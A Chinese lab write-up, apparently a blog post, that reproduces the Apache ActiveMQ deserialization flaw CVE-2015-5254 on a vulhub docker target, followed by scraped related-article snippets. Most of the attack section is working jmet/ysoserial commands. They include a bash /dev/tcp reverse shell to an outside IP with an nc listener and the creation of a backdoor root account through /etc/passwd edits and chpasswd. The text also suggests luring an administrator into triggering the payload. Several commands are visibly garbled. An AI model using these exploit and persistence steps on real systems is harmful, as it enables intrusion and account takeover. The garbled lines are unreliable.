ActiveMQ反序列化漏洞(CVE-2015-5254)复现
0x00 漏洞前言
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x01 漏洞环境
1.在ubuntu16.04下安装docker/docker-compose:
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
service docker start
# 安装compose
pip install docker-compose
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd activemq/CVE--/
# 自动化编译环境
docker-compose build

2.运行漏洞环境:
docker-compose up -d
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。
使用浏览器直接访问activemq,查看是否部署完毕
http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin)

0x02 漏洞复现
1.漏洞利用过程如下:
a.构造(可以使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标61616端口
c.访问的Web管理页面,读取消息,触发漏洞
2.使用jmet进行漏洞利用:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external
3.执行命令
java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 45.32.101.90

4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

5.点击查看这条消息即可触发命令执行

6.此时进入容器
docker exec -it cc0e9385f975 /bin/bash

7.可看到/ tmp /已成功创建,说明漏洞利用成功:

8.反弹shell:
java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.

远程主机监听1234端口:
nc -lvvp
即可看到反弹是shell:

值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
9.添加用户
执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它:
java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 45.32.101.90
让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。
java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:/test:x:/g" /etc/passwd" -Yp ROME 45.32.101.90
让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。
java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 45.32.101.90
到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。

0x03 参考链接
ActiveMQ反序列化漏洞(CVE-2015-5254)复现的更多相关文章
- ActiveMQ 反序列化漏洞(CVE-2015-5254)复现
1.运行漏洞环境 sudo docker-compose up -d 环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递:8161是Web管理页面端口.访 ...
- Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...
- 6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现
2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE- ...
- 漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)
基础知识 MQ(Message Queue):消息队列/消息中间件.消息服务将消息放在队列/主题中,在合适时候发给接收者.发送和接收是异步的(发送者和接收者的生命周期没有必然关系). 队列:消息存在队 ...
- ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现
漏洞原理 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service( ...
- 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Apache ActiveMQ 5.13.0之前 ...
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现
0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...
- PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现
前言 最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异.... 其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了 今天12点多断网刷了会手 ...
- ActiveMQ 反序列化漏洞(CVE-2015-5254)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192. ...
随机推荐
- ats 转发代理
ats是一个通用代理,可配置为反向和转发代理; 转发代理可以用作基础架构中的中央工具来访问web, 它可以与缓存结合使用以降低 总体带宽使用率.转发代理充当本地网络上的客户端浏览器与这些客户端访问的所 ...
- Hyperledger Fabric 1.0 从零开始(一)
在HyperLedger/Fabric发布0.6的时候,公司就已经安排了一个团队研究这一块,后来也请IBM的专家组过来培训了一批人,不幸的是,这批人后来全走了,然后1.0就发布了.自从2017年7月H ...
- markdown | Latex | 书写测试
我永远喜欢markdown! 建图 graph TD; 1-->2 1-->3 1-->4 2-->5 2-->6 3-->7 3-->8 4-->9 ...
- 从Web抓取信息的几个常用方法
1.Response 对象有一个 status_code 属性,可以检查它是否等于requests.codes.ok. 2.raise_for_status()方法是一种很好的方式,确保程序在下载失败 ...
- nodejs 中 module.exports 和 exports 的区别
1. module应该是require方法中,上下文中的对象 2. exports对象应该是上下文中引用module.exports的新对象 3. exports.a = xxx 会将修改更新到mod ...
- 使用socket发送http请求(get/post)
手动发送http请求 解释说明 https://blog.csdn.net/zhangliang_571/article/details/23508953 http://www.cnblogs.com ...
- unload没有用
今天下午测试了unload这个事件包括beforeunload <script type="text/javascript"> window.addEventListe ...
- java 面试 -- 4
Java面试知识点总结 本篇文章会对面试中常遇到的Java技术点进行全面深入的总结,帮助我们在面试中更加得心应手,不参加面试的同学也能够借此机会梳理一下自己的知识体系,进行查漏补缺(阅读本文需要有 ...
- spring 原理
1.spring原理 内部最核心的就是IOC了,动态注入,让一个对象的创建不用new了,可以自动的生产,这其实就是利用java里的反射,反射其实就是在运行时动态的去创建.调用对象,Spring就是在运 ...
- c++工厂模式(Factory method)
下面以女娲造黑人,白人,黄种人的例子来介绍一下工厂模式. 1.工厂的接口,相当于造人工厂总部. class IHumanFactory { public: IHumanFactory(void) { ...